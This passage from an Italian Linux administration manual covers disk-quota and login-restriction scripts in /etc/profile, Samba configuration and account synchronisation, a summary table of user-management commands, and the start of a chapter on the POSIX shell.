23          echo "YOU ARE REQUIRED TO REDUCE YOUR DISK USAGE TO THE ↵
    ↪ALLOWED VALUE!"
24          echo "If you don't do it alone, your account might be removed ↵
    ↪by the administrator."
25      fi
26      echo ""
27  fi
```

Lo scopo è, come si può intuire, quello di informare l'utente, contando sulla sua collaborazione. È evidente che lo script può essere reso più efficace, per esempio inviando un messaggio di posta elettronica all'amministratore quando un utente supera lo spazio consentito, arrivando anche a interdire l'utenza se si l'utente non provvede. Per esempio, si potrebbe intervenire così:

```
17      echo "Your disk usage is $HOME_DISK_SPACE_USED bytes."
18      echo "You are allowed to use up to $HOME_DISK_SPACE_ALLOWED bytes."
19      echo "You are using $HOME_DISK_SPACE_USED_PERCENTAGE% ↩
    ↪of the allowed disk space."
20      echo ""
21      if   [ "$HOME_DISK_SPACE_USED_PERCENTAGE" -gt "200" ]
22      then
23          echo "YOUR ACCOUNT IS LOCKED!"
24          echo "Please contact the administrator."
25          echo "account $USER locked" | mail root
26          exit
27      elif [ "$HOME_DISK_SPACE_USED_PERCENTAGE" -gt "100" ]
28      then
29          echo "YOU ARE REQUIRED TO REDUCE YOUR DISK USAGE TO THE ↩
    ↪ALLOWED VALUE!"
30          echo "If you don't do it alone, your account might be removed ↩
    ↪by the administrator."
31      fi
32      echo ""
33  fi
```

Vale la pena di descrivere alcuni comandi che possono risultare un po' complessi a prima vista. Nella riga numero 13 si vede l'uso del comando '**du**' per contare lo spazio utilizzato a partire dalla directory personale dell'utente:

```
du -bs $HOME
```

L'opzione '**-bs**' serve a richiedere un conteggio complessivo, espresso in byte. Il risultato viene filtrato da '**sed**' per conservare solo l'informazione numerica, infatti, ciò che emette '**du**' potrebbe essere un testo simile a quello seguente:

```
29546091        /home/tizio
```

Dal momento che tra il numero che esprime lo spazio utilizzato e la directory c'è esattamente un carattere di tabulazione (il carattere <*HT*>), '**sed**' va a cercare proprio quello ed elimina tutto il resto. Alla fine, il valore viene assegnato alla variabile di ambiente ***HOME_DISK_SPACE_USED***.

Nella riga numero 15 viene eseguito un calcolo, assegnando il risultato alla variabile ***HOME_DISK_SPACE_USED_PERCENTAGE***.

18.12.3 Accesso consentito soltanto ad alcuni utenti

Quando si condividono le stesse utenze in una rete locale (si veda la sezione sul NIS: 42.4), può capitare che si voglia evitare di consentire l'accesso agli utenti comuni presso un elaboratore particolare. Si può svolgere un controllo di questo tipo, rifiutando l'accesso a tutti gli utenti, tranne l'amministratore e altre utenze particolari, utilizzando la stessa tecnica già mostrata nella sezione precedente, intervenendo nel file '`/etc/profile`':[51]

```
1   #
2   # Refuse access to most users.
3   #
4   USER_ALLOWED="0"
5   #
6   for u in root tizio caio
7   do
8       if [ "$u" = "$USER" ]
9       then
10          USER_ALLOWED="1"
11      fi
12  done
13  #
14  if [ "$USER_ALLOWED" = "0" ]
15  then
16      #
17      # The user is not allowed.
18      #
19      echo ""
20      echo "You are not allowed to use this computer."
21      echo ""
22      exit
23  fi
```

18.13 Samba e utenze Unix

Samba è un programma servente che offre dei servizi di rete, tali da consentire a elaboratori con sistemi MS-Windows di accedere a risorse condivise. Samba è in grado di gestire il protocollo SMB/CIFS (*Server message block*) e anche NetBIOS. In questo capitolo si vuole considerare la possibilità di condividere le stesse utenze Unix, in modo che da elaboratori con sistemi MS-Windows, ogni utente possa accedere alla propria directory personale presso un elaboratore funzionante con un sistema GNU/Linux. Tuttavia, i dettagli sulla configurazione della rete non vengono affrontati (riguardano i capitoli a partire da 38), inoltre la configurazione stessa della gestione delle utenze di Samba viene considerata nel modo più simile al modello Unix tradizionale.

18.13.1 Avvio del servizio di rete

Samba può essere avviato in due modi: come demone indipendente, oppure sotto il controllo del supervisore dei servizi di rete (sezione 42.1). La prima ipotesi è la migliore se si attende un uso frequente del servizio, mentre la seconda va bene per una rete molto contenuta. Generalmente è la stessa procedura di installazione a chiedere all'utente come va predisposto il servizio di Samba e diversamente occorre approfondire la questione nella documentazione originale. Eventualmente, va tenuto presente che per una gestione del servizio in modo indipendente dal supervisore dei servizi di rete, occorre provvedere ad avviare i demoni '**nmbd**' (per il protocollo NetBIOS) e '**smbd**' (per il protocollo SMB/CIFS); pertanto vanno lette le pagine di manuale *nmbd(8)* e *smbd(8)*:

nmbd -D [*Invio*]

smbd -D [*Invio*]

L'opzione '**-D**', evidenziata negli esempi, rappresenta la richiesta ai programmi di funzionare sullo sfondo, come demoni.

18.13.2 Configurazione essenziale

La configurazione di Samba avviene con il file '`/etc/samba/smb.conf`'. L'esempio seguente rappresenta un modello generalizzato per la gestione di un servizio di condivisione delle directory personali degli utenti, attraverso i protocolli di MS-Windows. Logicamente, la stringa «il mio servente Samba» e i due nomi «miosmb», vanno modificati secondo la propria preferenza:

```
[global]
    server string = il mio servente Samba
    workgroup = MIOSMB
    netbios name = miosmb
    hosts allow = 127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16
    local master = no
    domain master = no
    security = user
    hostname lookups = no
    dns proxy = no
    log file = /var/log/samba/log.%h
    max log size = 0
    log level = 1
    encrypt passwords = true
    smb passwd file = /etc/samba/smbpasswd
    passdb backend = smbpasswd:/etc/samba/smbpasswd
    invalid users = root shutdown reboot nobody daemon bin sys ↩
↪sync games man lp mail news uucp proxy dip postgres www-data ↩
↪backup msql operator list irc gnats ftp sshd clamav bind saned ↩
↪dansguardian partimag wims fetchmail messagebus Debian-console-log

[homes]
    comment = personal data
```

```
    browseable = no
    writable = yes
    create mask = 0755
    directory mask = 0755
```

La tabella successiva descrive alcune direttive relative alla sezione globale ('**`global`**') del file di configurazione. La sezione '**`homes`**' riguarda specificatamente l'accessibilità delle directory personali degli utenti: il senso delle direttive dell'esempio dovrebbe essere intuitivo; in particolare si può osservare la maschera per la creazione dei file e delle directory che, nell'esempio, consente di ottenere file e directory accessibili e leggibili da chiunque.

Tabella 18.121. Alcune direttive per la configurazione di Samba, nella sezione '**`global`**'.

Direttiva	Descrizione
`server string =` ***descrizione***	Descrizione del servente.
`workgroup =` ***nome***	Nome del gruppo di lavoro a cui appartiene l'elaboratore.
`netbios name =` ***nome***	Nome dell'elaboratore per il protocollo NetBIOS.
`hosts allow =` ***elenco***	Elenco di insiemi di elaboratori che possono accedere al servizio.
`security = user`	Seleziona il tipo di controllo di accesso. In questo caso il controllo è a livello di utente.
`log file =` ***modello_file***	Definisce il file o i file da usare per annotare ciò che succede. Nell'esempio si usa il modello '**`/var/log/samba/log.%h`**', con il quale si crea un solo file denominato '`log.`***hostname***' (ovvero «log.» seguito dal nome che restituisce il comando '**`hostname`**') nella directory '`/var/log/samba/`'.
`log level =` ***n***	Definisce il livello di dettaglio delle annotazioni fatte nel file delle registrazioni. Il livello uno, come appare nell'esempio, è sufficiente per ottenere un rapporto degli accessi remoti.
`encrypt passwords = true|false`	Specifica se le parole d'ordine usate per l'autenticazione debbano viaggiare in forma cifrata o meno. Generalmente va attivata questa opzione ('**`true`**'), a meno di configurare diversamente i clienti MS-Windows.
`passdb backend = smbpasswd:`***file*** `smb passwd file =` ***file***	Queste due direttive, assieme, definiscono il modo in cui Samba conserva le informazioni sugli utenti e il file che deve essere usato in pratica. I modelli mostrati sono scelti appositamente per usare la forma di un file di testo normale, vagamente simile a '`/etc/passwd`'.
`invalid users =` ***utenti***	Consente di escludere l'accesso di alcuni utenti, tipicamente '**`root`**' e altri utenti speciali.

18.13.3 Elenco degli utenti

Secondo l'esempio di configurazione proposto nella sezione precedente, le utenze di Samba vengono annotate in un file di testo comune, strutturato concettualmente in modo simile a '`/etc/passwd`'. Per la precisione le righe di questo file hanno la struttura seguente:

utente : ***uid*** : ***pwd_1*** : ***pwd_2*** : ***opzioni*** : ***ultima_modifica***

Come si vede, appaiono due versioni della stessa parola d'ordine cifrata; la prima serve a sistemi MS-Windows 95/98, mentre la seconda serve a sistemi MS-Windows NT e conformi. L'aspetto di una di queste righe è simile all'esempio seguente:

```
…
tizio:1001:981BB8DA…D3745EDF4:3C9CFFE…C0FD6:[U          ]:LCT-4723A492:
…
```

Il campo delle opzioni contiene delle lettere tra parentesi quadre; nell'esempio, la lettera «U» indica che si tratta di un utente comune. L'ultimo campo che contiene la data di ultima modifica dell'utenza, inizia con la sigla «LCT» (*Local change time*) e prosegue con un trattino e poi un numero che rappresenta il tempo trascorso a partire dall'epoca di riferimento (l'ora zero del primo gennaio 1970).

18.13.4 Gestione delle utenze

Per la gestione delle utenze di Samba si usa il programma '**`smbpasswd`**'; tuttavia va osservato che le utenze che si creano per Samba devono essere già esistenti nel file '`/etc/passwd`' (Unix), mentre la loro eliminazione riguarda solo la rimozione dal file '`/etc/samba/smbpasswd`', o da qualunque altro sistema Samba utilizzi per tale funzione.

`smbpasswd` [***opzioni***] [***utente***]

Questo programma, se usato senza argomenti, si limita a cambiare la parola d'ordine dell'utente Unix attuale, usata però per accedere da un sistema MS-Windows. Attraverso l'uso di opzioni e con l'indicazione di un nominativo utente è possibile, tra le altre cose, eliminare un'utenza di Samba o crearne una nuova. I comandi significativi sono quelli seguenti:

- `#` **`smbpasswd -s -a`** ***utente*** [*Invio*]

  in questo modo si crea un'utenza nuova, la quale deve però avere già una corrispondenza con un'utenza Unix;

- `#` **`smbpasswd -x`** ***utente*** [*Invio*]

  in questo modo si elimina un'utenza di Samba.

Il cambiamento della parola d'ordine necessaria per accedere all'utenza di Samba, può essere cambiata anche eliminando e ricreando l'utenza.

18.13.5 Allineamento delle utenze

Quando si utilizza Samba, secondo le modalità descritte in questo capitolo, per una gestione di utenze affiancata a quella in stile Unix, si pone evidentemente il problema di gestire uniformemente le due cose, soprattutto per ciò che riguarda la parola d'ordine necessaria per accedere. Viene qui proposto un metodo molto «semplice», almeno sul piano realizzativo, attraverso l'uso di script personali.

Il brano seguente, relativo a uno script per una shell POSIX, mostra in che modo potrebbe essere creata un'utenza, sia per la gestione in stile Unix, sia per Samba, ma tutto è molto semplificato e privo di controlli, pertanto va poi esteso e migliorato secondo le proprie abilità:

```
…
# $UTENTE è il nome dell'utente creato.
# $GECOS  è la descrizione dell'utente (priva di caratteri vietati).
# $PASSWD è la parola d'ordine stabilita per accedere.
…
#
# Aggiunge l'utente Unix.
#
adduser --disabled-password \
        --no-create-home \
        --home /home/$UTENTE \
        --gecos "$GECOS"\
        $UTENTE
#
# Crea la directory personale Unix.
#
cp -dpR /etc/skel /home/$UTENTE
chown -R $UTENTE: /home/$UTENTE
#
# Elimina l'utente per Samba, nel caso dovesse esistere già.
#
smbpasswd -x $UTENTE 2> "/dev/null"
#
# Attribuisce la parola d'ordine.
#
if ( sleep 1 ; echo $PASSWD ; sleep 1 ; echo $PASSWD ) \
   | passwd $UTENTE 2> /dev/null
then
    if ( sleep 1 ; echo $PASSWD ; sleep 1 ; echo $PASSWD ) \
       | smbpasswd -s -a $UTENTE 2> /dev/null
    then
        true
    else
        echo "Non posso creare l'utenza Samba!"
    fi
else
    echo "Non posso creare l'utenza Unix!"
```

```
fi
…
```

Il brano successivo mostra come si potrebbe procedere per cambiare la parola d'ordine a un'utenza già operativa, ma come si vede si tratta solo di una riduzione dell'esempio già fatto, in quanto per Samba si procede con la rimozione dell'utenza e la sua nuova creazione:

```
…
# $UTENTE è il nome dell'utente creato.
# $PASSWD è la nuova parola d'ordine stabilita per accedere.
…
#
# Elimina l'utente per Samba.
#
smbpasswd -x $UTENTE 2> "/dev/null"
#
# Attribuisce la parola d'ordine.
#
if ( sleep 1 ; echo $PASSWD ; sleep 1 ; echo $PASSWD ) \
   | passwd $UTENTE 2> /dev/null
then
    if ( sleep 1 ; echo $PASSWD ; sleep 1 ; echo $PASSWD ) \
       | smbpasswd -s -a $UTENTE 2> /dev/null
    then
        true
    else
        echo "Non posso creare l'utenza Samba!"
    fi
else
    echo "Non posso modificare la parola d'ordine dell'utenza Unix!"
fi
…
```

18.14 Sintesi dei comandi principali

Comando	Descrizione
`pwconv`	Genera o aggiorna il file '`/etc/shadow`' a partire dal file '`/etc/passwd`'.
`pwunconv`	Elimina il file '`/etc/shadow`' mettendo le parole d'ordine cifrate nel file '`/etc/passwd`'.
`useradd` ***utente***	Aggiunge l'utente specificato nel file '`/etc/passwd`' e se esiste anche da '`/etc/shadow`'; senza occuparsi di altre questioni.
`adduser` ***utente***	Aggiunge l'utente specificato nel file '`/etc/passwd`' e se esiste '`/etc/shadow`', chiedendo interattivamente tutte le altre informazioni che servono, creando anche la directory personale.

Comando	Descrizione
`smbpasswd [-s] -a` ***utente***	Aggiunge l'utente specificato nella gestione di Samba (potrebbe essere il file '`/etc/samba/smbpasswd`').
`userdel` ***utente***	Elimina l'utente specificato dal file '`/etc/passwd`' e se esiste anche da '`/etc/shadow`'.
`deluser` ***utente***	Elimina l'utente specificato dal file '`/etc/passwd`' e se esiste anche da '`/etc/shadow`', occupandosi eventualmente anche dell'eliminazione della directory personale.
`smbpasswd -x` ***utente***	Elimina l'utente specificato nella gestione di Samba.
`passwd` [***utente***]	Cambia la parola d'ordine (Unix) utilizzata per accedere al sistema, aggiornando il file '`/etc/passwd`' o il file '`/etc/shadow`'.
`chage` ***utente***	Visualizza i tempi annotati nel file '`/etc/shadow`' riferiti all'utente indicato.
`pwck`	Verifica la coerenza del file '`/etc/passwd`' e se esiste anche di '`/etc/shadow`'.
`groupadd` ***gruppo*** `groupdel` ***gruppo***	Aggiunge o elimina un gruppo modificando il file '`/etc/group`' ed eventualmente anche il file '`/etc/gshadow`'.
`grpconv`	Genera o aggiorna il file '`/etc/gshadow`' a partire dal file '`/etc/group`'.
`grpunconv`	Elimina il file '`/etc/gshadow`' aggiornando per quanto possibile il file '`/etc/group`'.
`gpasswd` [***gruppo***]	Attribuisce o cambia la parola d'ordine associata al gruppo, aggiornando il file '`/etc/group`' o il file '`/etc/gshadow`'.
`grpck`	Verifica la coerenza del file '`/etc/group`' e di '`/etc/gshadow`' se esiste (utilizzando anche il file '`/etc/passwd`').
`su [-]` [***utente***]	Consente di cambiare utenza temporaneamente. Se si usa il segno '**-**' tra gli argomenti si ottiene l'ambiente normale che si otterrebbe attraverso un ingresso normale nel sistema (senza '**`su`**').
`newgrp [-]` [***gruppo***]	Consente di cambiare gruppo temporaneamente. Se si usa il segno '**-**' tra gli argomenti si ottiene l'ambiente normale che si otterrebbe attraverso un ingresso normale nel sistema.
`users`	Visualizza l'elenco degli utenti che stanno utilizzando il sistema.
`who`	Visualizza l'elenco degli utenti che stanno utilizzando il sistema, con l'indicazione del terminale da cui accedono.
`w`	Visualizza l'elenco degli utenti che stanno utilizzando il sistema, con più informazioni sulla loro attività.
`finger` [***utente***]	Fornisce informazioni su tutti gli utenti connessi all'elaboratore locale o soltanto sull'utente indicato (che può anche non essere connesso in quel momento).
`whoami`	Mostra il nominativo utente, associato al numero UID efficace, utilizzato dalla stessa persona che dà il comando.
`logname`	Mostra il nominativo utente utilizzato per accedere al sistema.
`chsh` [***utente***]	Cambia la shell utilizzata dall'utente.
`chfn` [***utente***]	Cambia le informazioni personali associate all'utente.

Comando	Descrizione
`groups`	Elenca i gruppi a cui è associato l'utente.
`id`	Elenca le informazioni sull'utenza (utente, gruppi, numeri UID e GID).
`last`	Visualizza gli ultimi accessi annotati nel file '`/var/log/wtmp`'.
`logger` ***messaggio***	Aggiunge un'annotazione nel registro del sistema.

18.15 Riferimenti

- Michael H. Jackson, *Linux Shadow Password HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Andrew G. Morgan, *The Linux-PAM system administrators' guide*
  ⟨*http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/Linux-PAM_SAG.html* ⟩
- Marco Gaiarin, *Linux Italian-HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- *Samba*
  ⟨*http://www.samba.org* ⟩
- Fulvio Ferroni, *Samba e OpenLDAP*
  ⟨*http://linuxdidattica.org/docs/altre_scuole/planck/samba/* ⟩

[1] **Linux' system and kernel logging daemons: syslogd** UCB BSD

[2] **BSD utils** UCB BSD

[3] **Linux' system and kernel logging daemons: klogd** GNU GPL

[4] **Linux' system and kernel logging daemons: syslogd** UCB BSD

[5] **Debianutils: savelog** GNU GPL

[6] **Logrotate** GNU GPL

[7] **Console-log** GNU GPL

[8] La parola *login* va pronunciata separando le due sillabe: «log-in». Lo stesso valga per la parola *logout* che va pronunciata: «log-out».

[9] **Shadow utilities** software libero con licenza speciale

[10] **Shadow utilities** software libero con licenza speciale

[11] **GNU core utilities** GNU GPL

[12] **Procps w** GNU GPL

[13] Si può verificare facilmente che la colonna '**`IDLE`**' del comando '**`w`**' riporta il tempo di funzionamento complessivo; per farlo basta avviare in un terminale un programma che utilizza

intensamente la CPU, come '**yes**' quando è ridiretto verso '/dev/null', cronometrando il tempo e controllando ciò che riporta '**w**'.

[14] **GNU core utilities** GNU GPL

[15] **GNU core utilities** GNU GPL

[16] **GNU core utilities** GNU GPL

[17] **GNU core utilities** GNU GPL

[18] **GNU core utilities** GNU GPL

[19] **GNU core utilities** GNU GPL

[20] Naturalmente, questo vale finché nessuno riesce a trovare un algoritmo inverso che permetta di ricalcolare la parola d'ordine a partire dalla stessa stringa cifrata.

[21] **Shadow utilities** software libero con licenza speciale

[22] In generale, i sistemi pongono anche un limite superiore alla lunghezza delle parole d'ordine. In tali casi, può capitare che la parte eccedente tale dimensione venga semplicemente ignorata, rendendo vano lo sforzo dell'utente.

[23] **Shadow utilities** software libero con licenza speciale

[24] **Shadow utilities** software libero con licenza speciale

[25] Questo metodo di comportamento è quello predefinito di alcune distribuzioni GNU.

[26] **Shadow utilities** software libero con licenza speciale

[27] **Shadow utilities** software libero con licenza speciale

[28] **Shadow utilities** software libero con licenza speciale

[29] **Shadow utilities** software libero con licenza speciale

[30] **Shadow utilities** software libero con licenza speciale

[31] **Shadow utilities** software libero con licenza speciale

[32] **Shadow utilities** software libero con licenza speciale

[33] **Shadow utilities** software libero con licenza speciale

[34] **Shadow utilities** software libero con licenza speciale

[35] **Shadow utilities** software libero con licenza speciale

[36] **Shadow utilities** software libero con licenza speciale

[37] **Debian adduser** GNU GPL

[38] **Shadow utilities** software libero con licenza speciale

[39] **Shadow utilities** software libero con licenza speciale

[40] **Linux-PAM** licenza in stile BSD che può trasformarsi in GNU GPL

[41] La gerarchia che parte dalla directory '/usr/' tipica, potrebbe essere contenuta in un disco diverso da quello che contiene quella principale; pertanto, se all'avvio ci sono delle difficoltà e non si può innestare la gerarchia '/usr/', si rischia di non poter usare il sistema perché mancano le librerie PAM.

[42] Nel capitolo non viene descritta la direttiva '`@include`', con cui si ottiene l'inclusione di un file in quel punto. Logicamente, se si vuole lasciare soltanto il file '`/etc/pam.d/other`' nella directory, se questo contiene direttive di inclusione di altri file, è necessario mantenere nella directory anche quelli.

[43] **System V Init** GNU GPL

[44] **GNU Accounting Utilities** GNU GPL

[45] **GNU Accounting Utilities** GNU GPL

[46] **GNU Accounting Utilities** GNU GPL

[47] **GNU Accounting Utilities** GNU GPL

[48] **GNU C Library** GNU GPL

[49] **Falselogin** GNU GPL

[50] Per evitare che lo script possa essere interrotto con un segnale generato attraverso una combinazione di tasti, come [*Ctrl c*], vanno intercettati alcuni segnali. Per farlo, con la shell standard, è sufficiente il comando '`trap '' INT QUIT TSTP`' all'inizio dello script stesso.

[51] Per evitare che lo script possa essere interrotto con un segnale generato attraverso una combinazione di tasti, come [*Ctrl c*], vanno intercettati alcuni segnali. Per farlo, con la shell standard, è sufficiente il comando '`trap '' INT QUIT TSTP`' all'inizio dello script stesso.

Capitolo 19

Shell Unix

19.1 Introduzione alla shell Unix 844

19.1.1 Shell POSIX 845
19.1.2 Invito della shell 845
19.1.3 Storico dei comandi 845
19.1.4 Comandi interni 845
19.1.5 Alias 846
19.1.6 Ambiente 846
19.1.7 Condotti 846
19.1.8 Script 846
19.1.9 Sostituzione o espansione 847
19.1.10 Suddivisione in parole 847

19.2 Utilizzo generale 848

19.2.1 Avvio e conclusione 848
19.2.2 Interpretazione dei comandi: parametri, variabili, espansione e sostituzione 849
19.2.3 Comandi 858
19.2.4 Ridirezione 862
19.2.5 Controllo dei *job* 865
19.2.6 Esecuzione dei comandi 867
19.2.7 Configurazione di ambiente 868
19.2.8 Particolarità importanti della shell Bash 868

19.3 Programmazione 873

19.3.1 Caratteristiche di uno script 873
19.3.2 Strutture 874
19.3.3 Espressioni aritmetiche 880
19.3.4 Comandi interni 880

19.4 Accesso ai file 894

19.4.1 Utilizzo dei descrittori 894
19.4.2 Lettura e scrittura 895
19.4.3 Contenuto senza file 897

19.5 Traduzione dei messaggi 898

19.5.1 Esempio iniziale 898
19.5.2 utilizzo più sofisticato 901

19.6 Libreria Readline 903

19.6.1 Comandi . . . 903
19.6.2 Completamento automatico . . . 904
19.6.3 Configurazione . . . 905
19.6.4 Utilizzo di «cle» . . . 905

19.7 Tabelle riepilogative . . . 906

19.7.1 Particolarità della shell Bash . . . 906
19.7.2 Parametri comuni . . . 908
19.7.3 Variabili di ambiente comuni . . . 908
19.7.4 Espansione e sostituzione . . . 909
19.7.5 Comandi e *job* . . . 911
19.7.6 Ridirezione . . . 911
19.7.7 Strutture di controllo . . . 912
19.7.8 Comando «echo» . . . 914
19.7.9 Comando «set» . . . 914
19.7.10 Comando «test» . . . 916
19.7.11 Comando «ulimit» . . . 918
19.7.12 Altri comandi interni . . . 919

19.8 Riferimenti . . . 924

`.inputrc` 870 905 `.profile` 848 `case` 875 `exit` 848 `for` 874 `getopts` 888 `gettext.sh` 898 `if` 876 `inputrc` 870 905 `profile` 848 `set` 892 `until` 877 `while` 877 `$ENV` 848 `$OPTARG` 888 `$OPTIND` 888

19.1 Introduzione alla shell Unix

La shell è il programma più importante in un sistema operativo, dopo il kernel. È in pratica il mezzo con cui si comunica con il sistema e attraverso il quale si avviano e si controlla l'esecuzione degli altri programmi.

La shell ha questo nome (conchiglia) perché di fatto è la superficie con cui l'utente entra in contatto quando vuole interagire con il sistema: la shell che racchiude il kernel.

Una shell è qualsiasi programma in grado di consentire all'utente di interagire con il sistema. Può trattarsi di qualcosa di molto semplice come una riga attraverso cui è possibile digitare dei comandi, oppure un menù di comandi già pronti, o un sistema grafico a icone, o qualunque altra cosa possa svolgere questo compito. Nei sistemi Unix si usano ancora shell a riga di comando, ma queste, anche se povere esteticamente, sono comunque molto potenti e difficilmente sostituibili.

La shell tipica di un sistema Unix è l'interprete di un linguaggio di programmazione orientato all'avvio e al controllo di altri programmi. Questo interprete è in grado di eseguire quanto richiesto da un utente attraverso una riga di comando in modo interattivo, oppure di eseguire un file script, scritto nel linguaggio della shell.

In origine esisteva una sola shell nei sistemi Unix; ovvero la «shell Unix». Attualmente le cose non sono più così e si fa riferimento alla shell storica con il nome del suo autore, Steve R.

Bourne, pertanto si parla piuttosto di shell Bourne. La shell Bourne originale ha subito molti rimaneggiamenti e ne esistono diverse varianti e riscritture complete. In generale, a causa di queste diversificazioni conviene fare riferimento allo standard POSIX.

19.1.1 Shell POSIX

Le shell derivate da quella di Bourne che dichiarano di essere aderenti allo standard POSIX sono molte, purtroppo con tante piccole differenze tra di loro. Meritano attenzione, in particolare, la shell Bash,[1] ovvero *Bourne again shell*, predisposta per la massima compatibilità POSIX, ma ricca di estensioni proprie, e la shell Ash,[2] ovvero *Almquist shell*, usata soprattutto nei sistemi BSD.

19.1.2 Invito della shell

Quando una shell attende ed esegue i comandi impartiti dall'utente, si trova in una modalità di funzionamento interattivo. La disponibilità da parte della shell di ricevere comandi viene evidenziata dall'apparizione sullo schermo del terminale di un messaggio di invito o *prompt*. Questo, per lo più, è composto da simboli e informazioni utili all'utente per tenere d'occhio il contesto in cui sta operando.

In questo senso, l'invito è un elemento importante della shell, tenendo conto soprattutto della possibilità di configurarlo in base alle proprie esigenze. Il concetto di «invito» riguarda tutti i programmi che richiedono un'interazione con l'utente attraverso una riga di comando.

19.1.3 Storico dei comandi

Lo storico dei comandi è un registro degli ultimi comandi inseriti dall'utente[3] Quando la shell lo gestisce, l'utente è in grado di ripescare facilmente un comando utilizzato poco prima, senza doverlo riscrivere completamente, con la possibilità di modificarlo o di completarlo.

19.1.4 Comandi interni

Le shell POSIX e la maggior parte delle altre, mettono a disposizione dei comandi interni (o comandi incorporati) che vengono richiamati nello stesso modo con cui si avvia un programma normale. Solitamente, se esiste un programma con lo stesso nome di un comando interno, è il comando ad avere la precedenza, ma logicamente, i programmi standard che hanno lo stesso nome di comandi interni delle shell principali, svolgono di norma un compito simile, anche se non necessariamente identico.

Spesso, questo fatto è causa di equivoci fastidiosi: alle volte non si è in grado di capire il motivo per il quale un certo programma non funziona esattamente come ci si aspetterebbe.

19.1.5 Alias

Le shell POSIX e altre permettono la definizione di nuovi comandi in forma di ***alias*** di comandi già esistenti. L'utilità di questo sta nella possibilità di permettere l'uso di nomi differenti per uno stesso risultato, oppure per definire l'utilizzo sistematico di opzioni determinate.

Per comprendere il senso di questo si può considerare un esempio: si potrebbe creare l'alias '`dir`' che in realtà esegue il comando '`ls -l`'.

19.1.6 Ambiente

Ogni programma in funzione in un sistema Unix ha un proprio ***ambiente*** definito in base a delle ***variabili di ambiente***. Le variabili di ambiente sono un mezzo elementare e pratico di configurazione del sistema: i programmi, a seconda dei loro compiti e del loro contesto, cercano di leggere alcune variabili di loro interesse e in base al contenuto di queste adeguano il proprio comportamento.

L'ambiente consegnato a ogni programma che viene messo in esecuzione, è controllato dalla shell che è in grado di assegnare ambienti diversi a programmi diversi.

La shell può quindi creare, modificare e leggere queste variabili, cosa particolarmente utile per la realizzazione di file script.

19.1.7 Condotti

La shell mette in esecuzione i comandi ed è in grado di ridirigere il flusso di dati standard: standard input, standard output e standard error.

Questa caratteristica è importantissima per la realizzazione di comandi complessi attraverso l'elaborazione successiva da parte di una serie di programmi.

Dal punto di vista della shell, ogni comando, anche se composto dalla richiesta di esecuzione di un solo programma, è un condotto.

19.1.8 Script

Con il termine script si identifica un programma scritto ed eseguito nella sua forma sorgente senza l'intervento di alcuna compilazione. Normalmente, le shell sono in grado di eseguire dei file script, scritti secondo il loro linguaggio.

Per convenzione, gli script di shell e anche di altri linguaggi interpretati, iniziano con una riga che specifica il programma in grado di interpretarli.

```
#!/bin/sh
...
...
```

Questa riga, per esempio, è l'inizio di uno script che deve essere interpretato dal programma '`/bin/sh`', ovvero da una shell compatibile con quella di Bourne e possibilmente anche con la shell POSIX.

19.1.9 Sostituzione o espansione

Una caratteristica molto importante delle shell tradizionali è la possibilità di effettuare delle sostituzioni, o espansioni, nel comando impartito interattivamente o contenuto in un programma script.

19.1.9.1 Caratteri jolly o metacaratteri

I caratteri jolly, o metacaratteri, sono quei simboli utilizzati per fare riferimento facilmente a gruppi di file o di directory. Nei sistemi Unix sono le shell a occuparsi della traduzione dei caratteri jolly. In questo modo, una riga di comando che ne contiene, viene trasformata dalla shell che fornisce così, al programma da avviare, l'elenco completo di file e directory che si ottengono dall'espansione di questi caratteri speciali.

Dal momento che tale attività è competenza delle shell, dipende dalla shell utilizzata il tipo di caratteri jolly a disposizione e anche il loro significato.

È importante ricordare che alcuni testi fanno riferimento a questo concetto con il termine *globbing*; inoltre, a volte si utilizza la definizione di *shell regular expression*, ovvero *shell regexp*.

19.1.9.2 Variabili e parametri

Come accennato, le shell permettono di creare o modificare il contenuto di variabili di ambiente. Queste variabili possono essere utilizzate per la costruzione di comandi, ottenendo così la sostituzione con il valore che contengono, prima dell'esecuzione di questi.

Nello stesso modo i parametri, ovvero un tipo particolare di variabili a sola lettura, possono essere usati nelle righe di comando. Di solito si tratta degli argomenti passati a uno script.

19.1.9.3 Sostituzione di comandi

Le shell POSIX e altre, consentono di comporre un comando utilizzando lo standard output di un altro. In pratica, questi tipi di shell mettono in esecuzione prima i comandi da utilizzare per la sostituzione e quindi, con il risultato che ne ottengono, eseguono il comando ottenuto.

19.1.9.4 Protezione dalla sostituzione e dall'espansione

Dal momento che ogni shell può attribuire a dei simboli particolari un significato speciale, quando si ha la necessità di utilizzare tali simboli per il loro significato letterale (normale), occorre fare in modo che la sostituzione e l'espansione non abbiano luogo.

Generalmente si dispone di due tecniche possibili: l'uso di delimitatori all'interno dei quali la sostituzione e l'espansione non deve avere luogo (oppure può avvenire solo in parte) e l'uso di un carattere di escape. Il carattere di escape viene usato davanti al simbolo che non deve essere interpretato, mentre i delimitatori aprono e chiudono una zona protetta della riga di comando.

Dal momento che si devono usare dei simboli per delimitare o per rappresentare il carattere di escape, quando questi simboli devono essere usati nella riga di comando, occorre proteggere anch'essi. Sembra un circolo vizioso, ma alla fine tutto diventa molto semplice.

Il vero problema è che quando ci si abitua a una shell particolare, **ci si abitua** anche **a utilizzare delle tecniche consuete, perdendo di vista la sintassi vera dei comandi.**

19.1.10 Suddivisione in parole

Il compito di una shell tradizionale, quando viene usata in modo interattivo, è quello di interpretare le istruzioni date dall'utente e di avviare di conseguenza i comandi richiesti.

A questi comandi vengono passati normalmente degli argomenti e la separazione tra questi (argomenti) è fondamentale per il significato che assume l'istruzione data dall'utente. Infatti, non è compito dei comandi scomporre l'insieme degli argomenti, ma è compito della shell passarli debitamente separati. In questo modo, i comandi si possono limitare all'analisi di ogni singolo argomento.

Gli oggetti suddivisi che la shell riesce a individuare e quindi a passare ai comandi, sono le ***parole***. È molto importante la conoscenza del modo in cui una shell suddivide una riga di comando in parole.

19.2 Utilizzo generale

La shell POSIX è in pratica la shell Bourne standardizzata. Non esiste una sola shell POSIX, ma tante interpretazioni diverse, più o meno derivate da quella di Bourne.

Il primo elemento comune di queste shell è il programma eseguibile che le rappresenta: '`/bin/sh`'. In pratica, si tratta normalmente di un collegamento simbolico alla shell effettiva che ricopre quel ruolo. In particolare, ci sono shell come Bash che si adeguano agli standard quando sono avviate con quel nome.

